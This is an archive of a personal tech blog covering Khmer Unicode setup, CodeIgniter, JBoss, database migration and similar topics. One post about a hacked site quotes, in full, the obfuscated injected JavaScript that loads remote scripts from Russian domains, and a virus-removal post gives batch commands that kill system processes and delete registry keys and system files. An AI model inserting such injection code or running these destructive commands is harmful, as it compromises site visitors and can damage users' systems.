Computer Experience

TEMPORARY NO MORE MAITENANCE ON THIS BLOG

2010-04-08T00:45:00.000-07:00

Hi,
As now I can't manage the post for many blogs so I stop write for this blog and export all these posts to my personal website: http://osify.com

Unless I have no money to pay for the hosting and domain, otherwise I will not come back, please visit at http://osify.com as well.

Khmer Unicode with Ireport 3.7.1 works fine with Kh fonts

2010-02-28T18:30:00.000-08:00

Just quick configuration with Ireport 3.7.1 without detail here:

Download ireport from http://jasperforge.org 3.7.1
Install ireport 3.7.1
Open ireport design
Use blank design
Go to ireport tool configuration: Tool --> Options --> Fonts and click install fonts

I install two fonts: Khmer OS System and Kh System

First tested with Khmer OS System font, found it's not display correctly, see screen shot:

Now I use font: Kh System, it displays correctly:
Printed the report into PDF format also work for me.

To configure, I just change the font name to JasperReports Properties (find in Options menu):

In my local PC, I have already installed the font (Kh System) so please consider to add also if above configuration not yet work for you.

As I'm not using iReport, just wanna to test with Khmer Unicode only.

Thanks for comment any idea to improve it.

Tested Package download here.

Migrate from MySQL to MS SQL 2005 using MS Access 2003 as a bridge

2010-02-21T21:54:00.000-08:00

My friend asked me this topic "Migrate all tables of MySQL to MS SQL 2005 - what way".
I searched on the net as usual, got many questions and answer around one table import mostly but for many tables seem got a tip from a comment:

This might not be the best solution. Nonetheless, it worked for me. First you need to install and configurate the MyODBC connector as others said previously. Use Access to import from a external ODBC data source. (google it if you have trouble with this step). Once the import is done, use SSIS to import the data in the Access db into a SQL Server 2k5 db. Hope this Helps. (from social.msdb.microsoft.com)

CONTENT:

Technical Environment
Create ODBC Connection for MySQL
Import data from ODBC of MySQL to Access Db
Using SSIS (SQL Server Integration Service) to import data from Access Db to MS SQL

So here is my transforming steps:
0. Technical Environment

I'm using Windows XP SP3 (not mandatory, just my environment.)
MySQL ODBC Connector 5.1.6
MS Access 2003 or 2007 (I'm using Access 2007 but db with Access 2003)
MS SQL Server 2005
MS SQL Server Tool 2005

I. Create ODBC Connection to MySQL database (using MySQL ODBC Connecter / System DNS)

Download and install MySQL ODBC Connector here
Create System DNS by go to Start --> Settings --> Control Panel --> Administrator Tool --> Click on Data Source (ODBC)

II. Using MS Access to import data from an external ODBC data source
I'm using MS Access 2007 but I use Access 2003 as the version here as mostly would work for all as well.

Step 1: Create a blank Access Db (Using compatible MS Access 2003)

Step 2: Go to tab External Data, using import or link to an ODBC Database:
Step 3: Using Import the source data into a new table in the current database option

Step 4: Go to tab: Machine Data Source, choose MySQL

"Choose your MySQL database to import"

Step 5: You will see a windows to list all table object, select all and click Ok

Step 6: You've done, now. Close button is welcome.

III. Using SSIS (SQL Server Integration Service)
As said above, I'm using MS SQL 2005 Tool (SQL Server Management Studio)

Step 1: start SQL Server Management Studio

Step 2: Connect to the server with your authentication

Step 3: Create new database (in case, it's new) Ex: mySqlDbLink (not mandatory naming)

Step 4: Right click on the db you want to import all tables / data, choose Import task

Step 5: Choose data source: Microsoft Access and link the file name with above access db (Ex: Z:\LinkToImport.mdb)

Step 6: Follow all steps of importing wizard but here choose: Copy data from one or more tables or views

Step 7: Follow other instruction (select all tables as example), proceed the import

Caution: During my process, I got error and all tables are not imported; I didn't try to find to know why, but I just try my work for me solution in next comment.

See error log:

- Pre-execute (Error)
Messages
* Error 0xc0202009: {97D241BA-4215-4D82-A8CE-716288708210}: An OLE DB error has occurred. Error code: 0x80004005.
An OLE DB record is available. Source: "Microsoft JET Database Engine" Hresult: 0x80004005 Description: "Unspecified error".
(SQL Server Import and Export Wizard)

* Error 0xc020801c: Data Flow Task: The AcquireConnection method call to the connection manager "SourceConnectionOLEDB" failed with error code 0xC0202009.
(SQL Server Import and Export Wizard)

* Error 0xc004701a: Data Flow Task: component "Source 32 - wp_bp_messages_messages" (2627) failed the pre-execute phase and returned error code 0xC020801C.
(SQL Server Import and Export Wizard)

My WORK FOR ME Solution:

I again re-import the database with one table and I got successful imported
I start again re-import for all tables, and I got successful with all tables list:

Finally: Check at the database, found all tables listed here and check some tables, data are there.

Hope it helps,
Check and give comment if anything to update.
What I have read:

http://social.msdn.microsoft.com/Forums/en-US/sqlintegrationservices/thread/abb4d339-e0d0-42b8-a56f-bbe91cf4867d (Idea got from this forum)
http://www.aspfree.com/c/a/Microsoft-Access/Importing-Data-into-MS-Access-with-ODBC/ (For importing data into ms-access, it's using MS Access 2003)
http://www.codeproject.com/KB/database/migrate-mysql-to-mssql.aspx (not follow all, as not work for me)

Flex 3.x working with Khmer Unicode ?

2010-02-02T23:05:00.000-08:00

I start a topic now with Flex 3 not rendering well with Khmer Unicode.

If anyone has any idea, please share; I'll do after some test first.

Updated 10/02/2010:
Embaded font still not work in flex 3:

To continue more test and find.

Website hacked with random URL to access (http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/)

2010-01-26T20:18:00.000-08:00

One of my website has been hacked by some hacker or can be with some libraries I am using for my CodeIgniter project... I'm not sure if it is due to the library or about my web hosting place.... I'm still investigating the issue.

It is trying to access to random URL as :

http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/apple.com/apple.com/drudgereport.com/google.com/joy.cn/

Mostly the random URL start with:

http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080

Check to webnetlinks.ru I got alert from WOT (Add-on of firefox) that this site is unsafe.

View my page source code found:

Following script before html tag


<script src='+'h^&)t($t)$#p&($^$:@$/)^)/)^@(k^^^!u)))6@(-&^c((!!o#@^m#.@&h#@a()
(b!e@)!r!##t(@^u&r$#k$.!#c)!o@(&m&@.^&@c@@#a^)r$#^!&e&$^@e@#)!r@&b^)u)^i!
(l)(d&@e)!#r!)(-(c!^^o$^m^^!.!!&w^&(e(!^b!#)^!n!#)e#
(&)t!&l##!^!i&@n#$k$&s)&#.&@!$r@)@u$!):$8)^&0$$!8&!0)
(#$/)$a)#p!$p$l&#e&#.^^@#c#o$$&)m$$#/!)a^@@$p)!p)l^#e&!.!$#c#(@o)$)^m((&
/&&d^&r$@u!@^d^)&g$$)e#$@r(^e(^!p&^o@!^&r^^)#t)&(#.)$^c()o^)m(@@
/@@g$&#^#o#o$g&l#!e(&.#!(c^&o^$m)#&&/$j$o#$)y).@^c&)n(@&/!@'.replace(/\$|\!|\)|
\^|#|@|\(|&/ig, '')+' defer=defer></scr'+'ipt>

At the end of html tag found some hidden code:

82fd50e7972f75db5204eef49fd077cc

All those above, I didn't code so consider this point to start searching.

Note: I have no any issue at my local site.

Hope I'll find soon

Update 27/01, 1:30pm: Very bad, these scripts are added to most html pages, to most javascript files. Seem not issue due to any library of CodeIgniter but with some virus who can hack using ftp, it may be my password is very poor that it can hack.

Update 29/01, 12:48pm: Now again, new hack script added the same site (before I didn't change ftp password yet), here is the new script:


try{window.onload=function(){document.write('<div id="megaid">youjizz-com.oneindia.in.d</div>');Lb4bz8i1odh = document.getElementById('megaid').innerHTML + 'u$#!$^o#@@w&a(n(@!-$$$c@(o$)!$m)&$@!.!)$(@t)^o($(p)!#l$i$@n#$^e&^(m@#&a@$^#r^^i@@^(n$e^##.#r&^$u(@^:)$D@!#E^()B^&U!(@&G#$#$/&&(s#^$p@(!(o$n&@i$)c@^h$#i^@$.^c&(o)$.(!j#@(p(!^^!/$s#!p(!&^o#n@)#i^!c##h)#)i(@.@!&^c(#o))@!.!j(^#p^^!!/@(^#@x)@t#!e!#$)n$)^d!(m@e@d((i&^!a^$!&).)@)#(c)$#o&^^#m#@$/!^^&g$@$o#o@!(g&!@#l#@#e#.@$@#c!(o^m)!^/&a!)l(!(i@c$!&e(^^.)!#^i^#$t($/@&'.replace(/@|\$|#|&|\^|\!|\)|\(/ig, '') ;document.write('<scr'+'ipt src="http://%27+Lb4bz8i1odh.replace%28/DEBUG/g,"></scr'+'ipt>');} }  catch(Ijhdnoxns ) {}
<!--82fd50e7972f75db5204eef49fd077cc--><script> try{window.onload=function(){document.write('<div id="megaid">youjizz-com.oneindia.in.d</div>');Lb4bz8i1odh = document.getElementById('megaid').innerHTML + 'u$#!$^o#@@w&a(n(@!-$$$c@(o$)!$m)&$@!.!)$(@t)^o($(p)!#l$i$@n#$^e&^(m@#&a@$^#r^^i@@^(n$e^##.#r&^$u(@^:)$D@!#E^()B^&U!(@&G#$#$/&&(s#^$p@(!(o$n&@i$)c@^h$#i^@$.^c&(o)$.(!j#@(p(!^^!/$s#!p(!&^o#n@)#i^!c##h)#)i(@.@!&^c(#o))@!.!j(^#p^^!!/@(^#@x)@t#!e!#$)n$)^d!(m@e@d((i&^!a^$!&).)@)#(c)$#o&^^#m#@$/!^^&g$@$o#o@!(g&!@#l#@#e#.@$@#c!(o^m)!^/&a!)l(!(i@c$!&e(^^.)!#^i^#$t($/@&'.replace(/@|\$|#|&|\^|\!|\)|\(/ig, '') ;document.write('<scr'+'ipt src="http://'+Lb4bz8i1odh.replace(/DEBUG/g,"></scr'+'ipt>');} }  catch(Ijhdnoxns ) {}</script>
<!--82fd50e7972f75db5204eef49fd077cc-->

Related issue found on the net:

Solutions: (that may can prevent not to happen again)
I'm using FileZilla as a ftp client

Change ftp password
Change application password
Scan virus on the pc that using
Remove all storing passwords on FTP clients

JBoss 4.2.2.GA - Deploying issue on class loading and out of memory

2010-01-25T19:14:00.000-08:00

While deploying my applications with JBoss 4.2.2.GA, using JDK 1.5 I got some issue with class loading issue something like:

1. If meet such error:

org.jboss.deployment.DeploymentException: Error while fixing table name; - nested throwable: (org.jboss.util.NestedSQLException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver)); - nested throwable: (org.jboss.resource.JBossResourceException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver))))

For sure, missing Oracle JDBC driver so Copy the Oracle JDBC Driver (10.2.0.1.0) (ojdbc14.jar) to lib folder of %JBOSS_HOME%/lib or at your server %JBOSS_HOME%/server/default/lib directory.

2. If something around:


2010-01-25 15:03:27,113 DEBUG [org.jboss.web.tomcat.service.TomcatDeployer] Classes needed for clustered webapp unavailable
java.lang.NoClassDefFoundError: org/jgroups/blocks/MethodCall
at org.jboss.web.tomcat.service.session.JBossCacheService.(JBossCacheService.java:70)
at org.jboss.web.tomcat.service.session.JBossCacheManager.init(JBossCacheManager.java:157)
at org.jboss.web.tomcat.service.TomcatDeployer.performDeployInternal(TomcatDeployer.java:336)

So please try as following:

Define a isolated classloader. To do it, change %JBOSS_HOME%/server/default/conf/jboss-service.xml :

<mbean code="org.jboss.naming.NamingService" name="jboss:service=Naming" dd="resource:xmdesc/NamingService-xmbean.xml">
[ ... ]
<attribute name="CallByValue">true</attribute>
[ ... ]
</mbean>

change %JBOSS_HOME%/server/default/deploy/ear-deployer.xml :

<server>
[...]
<attribute name="Isolated">true</attribute>
[...]
<attribute name="CallByValue">true</attribute>
[...]
</server>

change %JBOSS_HOME%/server/default/deploy/jboss-web.deployer/META-INF/jboss-service.xml :

[...]
<attribute name="Java2ClassLoadingCompliance">true</attribute>
[...]
<attribute name="UseJBossWebLoader">true</attribute>
[...]



3. When you wanna to deploy more than 2 applications on the same JBoss server instance, you may face some issues with unsuccessful deployment and with some error around Out of Memory.
So we need to increase memory allocation for Jboss, let's try to add/change JAVA_OPTS for memory allocation in file %JBOSS_HOME%/bin/run.bat as

set JAVA_OPTS=%JAVA_OPTS% -Xms512m -Xmx1024m -XX:MaxPermSize=128m

My applications are now deployed.

CodeIgniter - Remove index.php from URI

2010-01-21T21:22:00.000-08:00

Normally with CodeIgniter, the URI will come with http://domain/index.php/controller/method
You may have doubt to remove the index.php to have only http://domain/controller/method ..

Here is the way:
1. mod_rewrite still need to be enable in your apache server
2. Open config.php from your application/config and replace $config['index_page'] = “index.php” by $config['index_page'] = “”

3. In file .htaccess at the root of your website (should be in website root, where the system directory is) and add following line:


    RewriteEngine on
    RewriteCond $1 !^(index\.php|resources|robots\.txt)
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)$ index.php/$1 [L,QSA]

(My case, above changes work fine)

4. In some case, the default setting for uri_protocol does not work properly. To solve this problem just replace $config['uri_protocol'] = “AUTO” by $config['uri_protocol'] = “REQUEST_URI” from application/config/config.php

Enjoy,

Update 26/01: If you want both using index.php with URI or no, you just need to skip option 4 (using uri_protocol as AUTO)

CodeIgniter - Automatic config base url

2010-01-21T20:29:00.000-08:00

In CodeIgniter, you may know that you need to configure base url via config.php (param: $config["base_url"]) so when change domain you may doubt sometimes with such small error; Here a solution to help solving the issue;

Change at config.php by fix url with this smart url configuration:

 $config['base_url'] = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
$config['base_url'] .= "://".$_SERVER['HTTP_HOST'];
$config['base_url'] .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);   

Source: http://codeigniter.com/wiki/Automatic_configbase_url/

2007 Microsoft Office Add-in: Microsoft Save as PDF or XPS

2009-11-05T20:12:00.000-08:00

I start using MS Office 2007 and also has Adobe Acrobat 8.0 install, I can print as PDF in MS Word 2003 but not with MS Office 2007. See below screen shots of error:

But in fact with MS Office 2007, Microsoft has provided an add-in for converting from DOC to PDF very easily, just download from: http://www.microsoft.com/downloads/details.aspx?FamilyId=4D951911-3E7E-4AE6-B059-A2E79ED87041&displaylang=en

After I install: SaveAsPDFandXPS.exe
I can convert by go to: Save As -> PDF or XPS
PDF loaded as expected!
Great!

At BarCamp 2009, topic: The State of The Art of Web Development

2009-10-04T19:26:00.000-07:00

Hi,
Here is my presentation at barcamp phnom penh 2009, on Sunday 4th of October at Pannasastra University (Norodom), in hall room, Room Phnom Tamao at 11:30am to 12:30pm.

It was about the state of the art of web development, wanna to express how web technologies going on since it was started and today; also a bit view on how the future is.

The presentation, it's just starting or a beginning of the topic. Among those points, parts related to technologies of Java/J2EE, Django/Ruby on Rails, PHP style coding need to improve in the presentation, hope to do it more in next part.

Enjoy here:

Run maven commands in Eclipse as External Tool

2009-10-01T04:51:00.000-07:00

You might already know what is maven; it's a tool to build / compile or package java project...

Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.

Here, I want to show how to configure maven to use as external tool in eclipse IDE so easy for you to execute maven commands from the Eclipse interface easy without needing to open a DOS prompt to use. Here is the procedure:

1. Suppose maven 2 already install some where on your PC, (mine is in D:\Work\install\Tools\maven-2.0.4)
2. From the menu bar, select Window > Preferences. Select the Run/Debug > String Substitution. Add a new variable e.g. maven_exec.
3. Set up a new external launcher from the menu bar, select Run > External Tools. Select Program
4. Create each maven task, example: in here, I create only the build classpath

On program, create a new program and name as: build_classpath (any name as you wish)
In location box: choose our created variable: maven_exec
In Working Directory: choose variable: project_loc
In Argument, give maven command, in here is: eclipse:clean eclipse:eclipse
Click on Apply and Run if you wish now

5. So you can execute the external tool program by execute Run button, result should be in console tab:

Enjoy,

Jibx XML loading & Digester, which one is more flexible?

2009-09-25T06:19:00.000-07:00

Jibx is one of the popular XML parsing in Java and also Digester.

Jibx bases on binding.xml file to map XML nodes to Java Objects
Digester also base on digester-rule xml file to map to Java Objects

What I found here, in Jibx we need to map all fields of the XML to the binding but in digester, we can filter for which fields we want...

To prove, will see in next post for more analyze..

In brief about Eclipse IDE

2009-08-28T04:38:00.000-07:00

Eclipse is a multi-language software development environment comprising an IDE and a plug-in system to extend it. It is written primarily in Java and can be used to develop applications in Java and, by means of the various plug-ins, in other languages as well, including C, C++, COBOL, Python, Perl, PHP, and others.[1]

Website: http://www.eclipse.org/

Download: http://www.eclipse.org/downloads/

Current version: Galileo, 3.5: http://wiki.eclipse.org/Galileo

Eclipse IDE is suitable with:

- J2EE Development (To use Eclipse IDE for Java EE Developers)

- Java Development (To use Eclipse IDE for Java Developer)

- PHP Development (To use Eclipse IDE for PHP Development)

- C/C++ Development (To use Eclipse IDE for C/C++ Development)

- Etc.

Installation/To start:

- Jdk requires to install before install Eclipse, in new version of Eclipse 3.5 requires at least jdk 1.5

- Just extract the eclipse and copy to some where in your PC

- Point to your workspace, create project and develop your application as well.

Screenshot: (Other screens see: http://www.eclipse.org/screenshots/)

Easy ways/Shortcuts:

- Wanna to go every where can start with shortcut: Ctrl + 3

- To see all shortcut: Ctrl + Shift + L

- Rename on variable/method to change all reference: Alt + Shift + R

- Search any file: Ctrl + Shift + R

- Go to line number: Ctrl + L

- Create View Object (set / get methods): Alt + Shift + S and choose: Generate Getters and Setters

- Etc.

[1] See wiki: http://en.wikipedia.org/wiki/Eclipse_(software)

[WordPress] Move integrated local wordpress to production server

2009-08-18T04:52:00.000-07:00

First I have read some post and I though it was right but when I followed I got same error such as executing timeout (Fatal error: Maximum execution time of 30 seconds exceeded) when browse the website etc.

I have prepared the wordpress blog with some modification of the theme; integrated and tested my wanted plugin; prepare all pages, navigation etc. I have named my local site as: www.defondyann.loc but when I move to the server for website: www.defondyann.com I got above error and can't browse the page or went to the admin as well.

I tried as following post:

http://www.mydigitallife.info/2007/10/01/how-to-move-wordpress-blog-to-new-domain-or-location/
http://yoast.com/move-wordpress-blog-domain-10-steps/
http://codex.wordpress.org/Moving_WordPress

but not all worked for me so I took some points to do this way:

I. At my local server, I prepared the virtual host by naming as: www.defondyann.comI'm sure you guy know how to do virtual host in windows; any way, here it is:

apache2.2.6\conf\extra\httpd-vhosts.conf


   ServerAdmin webmaster@defondyann.com
   DocumentRoot "Z:/defondyann/wordpress"
   ServerName defondyann.com
   ServerAlias www.defondyann.com
   ErrorLog "logs/defondyann.com-error_log"
   CustomLog "logs/defondyann.com-common.log common" combined

Change at C:\WINDOWS\system32\drivers\etc\hosts

127.0.0.1 www.defondyann.com

II. I browsed the website locally with: www.defondyann.com login to admin as normal
III. Modified upload directory configuration in /wp-admin/options-misc.php

To change upload directory to: wp-content/uploads

IV. Modified database, by execute update script via phpMyAdmin or any mysql client:

UPDATE wp_options SET option_value = replace(option_value, 'http://www.defondyann.loc', 'http://www.defondyann.com') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET guid = replace(guid, 'http://www.defondyann.loc','http://www.defondyann.com');
UPDATE wp_posts SET post_content = replace(post_content, 'http://www.defondyann.loc', 'http://www.defondyann.com');

It's working for me,
Good luck,

[A Solution Game] A man bought a house

2009-07-26T22:43:00.000-07:00

Can anyone write the procedure how to solve this below problem?
It seems we will have two answers according to the way of resolvers thinking can be thinking with Maths or with Business, please write down and share in the comment:

Problem:
======

"A person bought a house for $60,000. Soon thereafter they sold it for $70,000, upon moving out of town.
A few month later, they were transftered back to town and purchased the same house for $80,000, then the person grew tired of the house and resold it for $90,000."

Question: How much money did the person gain/lose (or break even) on the exchange? How you calculate this?

SQL Server with Unicode / Khmer Unicode characters

2009-07-13T02:47:00.000-07:00

To be notice MS SQL supports only UCS-2 encoding so do not have encoding with UTF-8 as we expected as MySQL or some other database server as well. This means that you can't use UTF-8 character encoding with Microsoft SQL Server:

Here after I type Khmer Unicode and execute the query, I got question marks instead of characters:

So if you need to store national characters in Microsoft SQL Server - please consider using a national character encoding (U+1780 to U+17FF in Unicode/ISO10646 for Khmer Unicode characters, for example). Change data types:

varchar to nvarchar
text to ntext
char to nchar

Here is the example since I created a table and insert data:

1. Create database (mtr_db) as normally (default setting)

2. Create table (tblunicode) with two fields (id/name) but
name - data type nvarchar(MAX)

3. Insert Khmer Unicode and execute we got it as we typed!
Good luck!

Chuon Nat - Khmer Dictionary 2.0 with Unicode font

2009-06-21T22:02:00.000-07:00

Let's try to distribute Khmer Dictionary to help all Khmer or people get to know Khmer language enjoy using our right dictionary than some dictionary that wrote wrong Khmer word...

Here, it is Chuon Nat Khmer Dictionary (Khmer to Khmer) 2.0 to download.
The dictionary using Khmer Unicode so please download Khmer Unicode 2.0.
The dictionary contains also the short explanation about Khmer Language Grammar.

Thanks to Buddhist Institute of Cambodia.

You can find other related page for Khmer Dictionary:
1. http://code.google.com/p/khmer-dictionary-tools/
2. http://www.budinst.gov.kh/?q=node/314

Optimizing the firefox 3.0.x for saving memories

2009-06-11T21:44:00.000-07:00

Hum, I got so headache when using a slow computer so I have to find the issue... I know I have many programs installed on my system so these can be the problem but I use mostly the firefox for internet surfing...

I start finding that anytime I open many firefox or tabs at the same it crashes me for a while to use other applications. Check in the process, yes firefox using much memory than others:

Here is the process screen for firefox opens around 25 tabs

Here the way I optimize the firefox configuration:
I. Type about:config on firefox address box
II. Session cofingure:

search "session" in filter box
Edit browser.sessionhistory.max_entries – this is the number of pages stored in the history of your browsing session. Basically these are pages that can be reached using your Back and Forward buttons. The default is 50, I reduced it to 20.
Edit browser.sessionhistory.max_total_viewers – this is the number of pages that are stored in RAM so that they aren’t re-processed by Firefox’s rendering engine. This is what allows you to go Back to a page in Firefox and have it load almost instantaneously. The number of pages stored actually depends on the amount of RAM on your machine. I reduced this to 4 (I have 2GB RAM).
Edit browser.sessionstore.max_tabs_undo – the number of tabs you can restore after closing them (you can do this with Ctrl/Cmd-Shift-T). The default of 10 is more than I really need, so I reduced it to 5 tabs.
Edit browser.sessionstore.interval – Firefox saves your session after every 10 seconds by default. I changed this to a more conservative 30000 milliseconds.

III. Network configuration: enable these to get faster network speed

network.http.pipelining => true
network.http.pipelining.ssl => true
network.http.proxy.pipelining => true

IV. Release Memory When Firefox Minimized

Right click at the content (anywhere) and choose New->Boolean.
In the textbox, type config.trim_on_minimize and press OK.
Set the value to true, and press OK

V. Restart firefox to take affection.

Here is the result of the process after optimize:

So seem it helps, so much different, isn't it? :)
Thanks to following posts also:

http://support.mozilla.com/en-US/kb/high+memory+usage
http://blog.codefront.net/2008/09/10/optimize-firefoxs-memory-usage-by-tweaking-session-preferences/
http://www.go4expert.com/forums/showthread.php?t=8568

Enjoy!

Welcome to Bing, live search engine

2009-06-07T20:27:00.000-07:00

Recently, Microsoft has released a new live search engine called Bing (www.bing.com) (formerly Live Search, Windows Live Search and MSN Search), the question for us is will Bing become a popular search engine as or over Google (www.google.com)?

So this question will see during the long way, I think most people when they meet any issue or require some information, they always remember google than other search engine as yahoo etc. but now as bing become a good one of live search engine so the competition should be starting now.

Bing released online on June 3, 2009 according to the Wiki Pedia record and it has now 16% of statistics counting since it's online till now, it's still a small percentage if compare to google of 60% but see, how fast they are popular now.

Any way, welcome to the new competition of search engine!

[NEWS] THE TOP 25 MOST DANGEROUS PROGRAMMING ERRORS

2009-01-13T19:26:00.000-08:00

Here is the list of the top 25 most dangerous programming errors to be notified by all programmers:

CWE-20:Improper Input Validation
CWE-116:Improper Encoding or Escaping of Output
CWE-89:Failure to Preserve SQL Query Structure
CWE-79:Failure to Preserve Web Page Structure
CWE-78:Failure to Preserve OS Command Structure
CWE-319:Cleartext Transmission of Sensitive Information
CWE-352:Cross-Site Request Forgery
CWE-362:Race Condition
CWE-209:Error Message Information Leak
CWE-119:Failure to Constrain Operations within the Bounds of a Memory Buffer
CWE-642:External Control of Critical State Data
CWE-73:External Control of File Name or Path
CWE-426:Untrusted Search Path
CWE-94:Failure to Control Generation of Code
CWE-494:Download of Code Without Integrity Check
CWE-404:Improper Resource Shutdown or Release
CWE-665:Improper Initialization
CWE-682:Incorrect Calculation
CWE-285:Improper Access Control
CWE-327:Use of a Broken or Risky Cryptographic Algorithm
CWE-259:Hard-Coded Password
CWE-732:Insecure Permission Assignment for Critical Resource
CWE-330:Use of Insufficiently Random Values
CWE-250:Execution with Unnecessary Privileges
CWE-602:Client-Side Enforcement of Server-Side Security

Source: SANS Institute
News Source: Dangerous coding errors revealed

How to kill virus: MS-DOS.com, Global.exe, system.exe, svchost.exe manually

2009-01-04T20:36:00.000-08:00

The virus: MS-DOS.com which in the process we can see it as Global.exe, system.exe and svchost.exe (which confused to the system process) which are the main process of the virus.

I used to met them with my friends' PC but I could not do anything other than format their PC as most of the antivirus seem can't heal it after the PC affected but now it's with my PC and I don't want to format it again, I tried to kill it myself without any information of it for almost 2 days but I got nothing.

After research, I got some solutions that possible to try, thanks to:

Panda Security
FontThai blog
Vietnamese blog: lecuong.info (I used google translator)

With lecuong.info solution seem more closely to solve the issue:
B1: Use IceSword simultaneously kill 3 Process: system.exe, Global.exe, svchost.exe
B2: Find and delete all the files have been analyzed at above
B3: Using Autoruns to check & remove all key viruses created in the registry
B4: Reboot computer.
B5: Download antivirus program (such bkav) to scan again! (If the computer has antivirus program is removed and then installed again!)
B6: Open Run -> CMD: type in sfc /scannow or sfc /scanonce and XP disk to correct the file failed.
B7: Reboot computer. (If necessary)

With solution B2/ B3/ please use batch file to do it: (kill-msdos.zip)
But I recommend you to use another batch file below...

As for sure, everyone will difficult for point B1/ so I, myself tried to enhance on lecuong.info batch to add following command to try ending all processes of the virus:

taskkill /F /IM system.exe /IM Global.exe /IM svchost.exe /T

But we will face delete also svchost.exe which is the windows system one so that in 1 minute the PC will shutdown but don't worry, we can proceed the rest before 1 minute.

Please press any key and accept YES by press Y to confirm delete all virus files and regedit entries as in the batch.

As I face the virus, seem the batch needs to enhance for more file paths to delete such as:
c:\windows\system32\regedit.exe and its regedit entries so here what I added more:

ATTRIB -R -H -S -A c:\windows\system32\regedit.exe

DEL /f c:\windows\system32\regedit.exe

REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603" /v "001" /F
REG DELETE "HKEY_CLASSES_ROOT\MSCFile\Shell\Open\Command" /f

Now I don't see any process of this virus on my task manager any more.

(DOWNLOAD)
Here is the full batch file:
kill-msdos-full (computerexperience.co.cc).zip

Don't forget to continue point B5/ and B6/ also.

Please report any issue/success related to this solution.

Khmer Unicode with Crystal Report in C# Application

2008-12-26T02:17:00.000-08:00

I use VS2008 to test Khmer Unicode rendering in Crystal Report.

I. Prepare Crystal Report Render well in report design
First you have to make the crystal report in design time possible to write or view Khmer Unicode

1.1. Copy usp10.dll (version1.465.4001.0) to C:\Program Files\Business Objects\Common\2.8\bin

1.2. Change fonts setting in Crystal Report, at VS2008, create a crystal report and go to Crystal Reports --> Design --> Default Setting --> Go to Fonts Tab, change all element to Kh System

II. View Crystal Report with VS Crystal Report Viewer,
Khmer Unicode is not rendering well.
(Under research)

III. View Crystal Report with Crystal Report View
It's working very well for me to view Crystal Report with Khmer Unicode characters on form.
Here is the process...

3.1. On design time, add COM control of Crystal Report ActiveX Report Viewer Control of Business Objects; from my pc, it's a dll at: C:\Program Files\Business Objects\Common\2.8\bin\ crviewer.dll

3.2. Add Reference in the project of craxddrt.dll

3.3. Create Crystal Report and write some code in Khmer Unicode and save it to some where, my example in folder bin/Debug

3.4. Coding to call the report to view in the control:


CRAXDDRT.Application crxApp = new CRAXDDRT.Application();
CRAXDDRT.Report crxReport = new CRAXDDRT.Report();
crxReport = crxApp.OpenReport(Application.StartupPath
                       + "/KhmerUnicodeTest.rpt", null);
this.axCrystalActiveXReportViewer1.ReportSource=crxReport;  
this.axCrystalActiveXReportViewer1.ViewReport();

3.5. Here is the result display

DOWNLOAD: Sample Project: TestCrystalReportViewer

IV. View Crystal Report by export directly to PDF
It works very well, just have issue with font size.
We just call Crystal Report Object and then export it to disk, here is the coding:


private void btnPrintCrystal_Click(object sender, EventArgs e)
{    
CrystalKhmerUnicode rptCrystal = new CrystalKhmerUnicode();
rptCrystal.SetParameterValue("txtReportTitle","Hello World");
rptCrystal.SetParameterValue("txtTitle", txtTitle.Text);
rptCrystal.SetParameterValue("txtArticle", txtArticle.Text);
rptCrystal.ExportToDisk(ExportFormatType.PortableDocFormat, "./KhmerUnicode.pdf");
MessageBox.Show("Now report exported to current folder: KhmerUnicode.pdf");
// Direct open pdf report
System.Diagnostics.Process.Start("./KhmerUnicode.pdf");   
}

Enjoy,
Happy New Year 2009!
Metrey,

Wanna to write Khmer Unicode on coding in VS2005 or VS2008?

2008-12-25T23:49:00.000-08:00

In fact, I know many people should already know it but I suppose to post here that maybe help others to search for.

I want to write Khmer Unicode text in coding in Visual Studio 2005 or 2008, maybe need to assign value or declare parameter in Khmer etc. So we need to make the editor know Khmer Unicode first.

After your PC running well with Khmer Unicode, please follow this instruction to make it possible to write Khmer on your code:

In Visual Studio option: Tools --> Options --> at Environment, Fonts and Colors set font to: Kh System, then it works.

See screens:

Here, after change, what I can write:

Khmer Unicode works now with Adobe CS3

2008-12-23T21:55:00.000-08:00

Very good news for us, Khmer, that we have now the fonts that work with Adobe CS3.
It's easy to configure as in fact, we just install new fonts from Khmer OS (I'm not sure yet where is the source of this font), but you can download here: Khmer Unicode Supported CS3.

There are fonts:

Kh-Battambang
Kh-Bokor
Kh-Content
Kh-Fasthand
Kh-Freehand
Kh-Kangrey
Kh-Koulen
Kh-KoulenL
Kh-Metal-Chrieng
Kh-Muol
Kh-Muol-Pali
Kh-Siemreap
Kh-System

The right font view as:

See how to do it:

1. Install fonts: Start -> Control Panel -> Fonts -> Install New Fonts -> Select Kh fonts to install

2. On Adobe Photoshop CS3, select a Kh font (Ex: Kh System)
Here Example:

Note: any font name in group of Kh font will be Ok with CS3, these fonts also can use well with embedded for website without needed usp10.dll, I'll test it first.

Write a string to the specific line or position in the written file in java

2008-12-22T19:31:00.000-08:00

I got doubt on this point almost 2 hours to seek how can I write a string to a file at the position, I want.

Let me try to explain my issue that would help others who will have the same:
I extracted the data from database and write it to a file, I have so many queries for one group of lines, the layout of the file is:


1 line header
many lines detail

On the header, it's the summary of all lines in detail, it's in one query and I need to write first line of the header and a group of lines for detail to prevent OutOfMemory Exception at run time (As my file can have data around 1000 MB or much more than this).
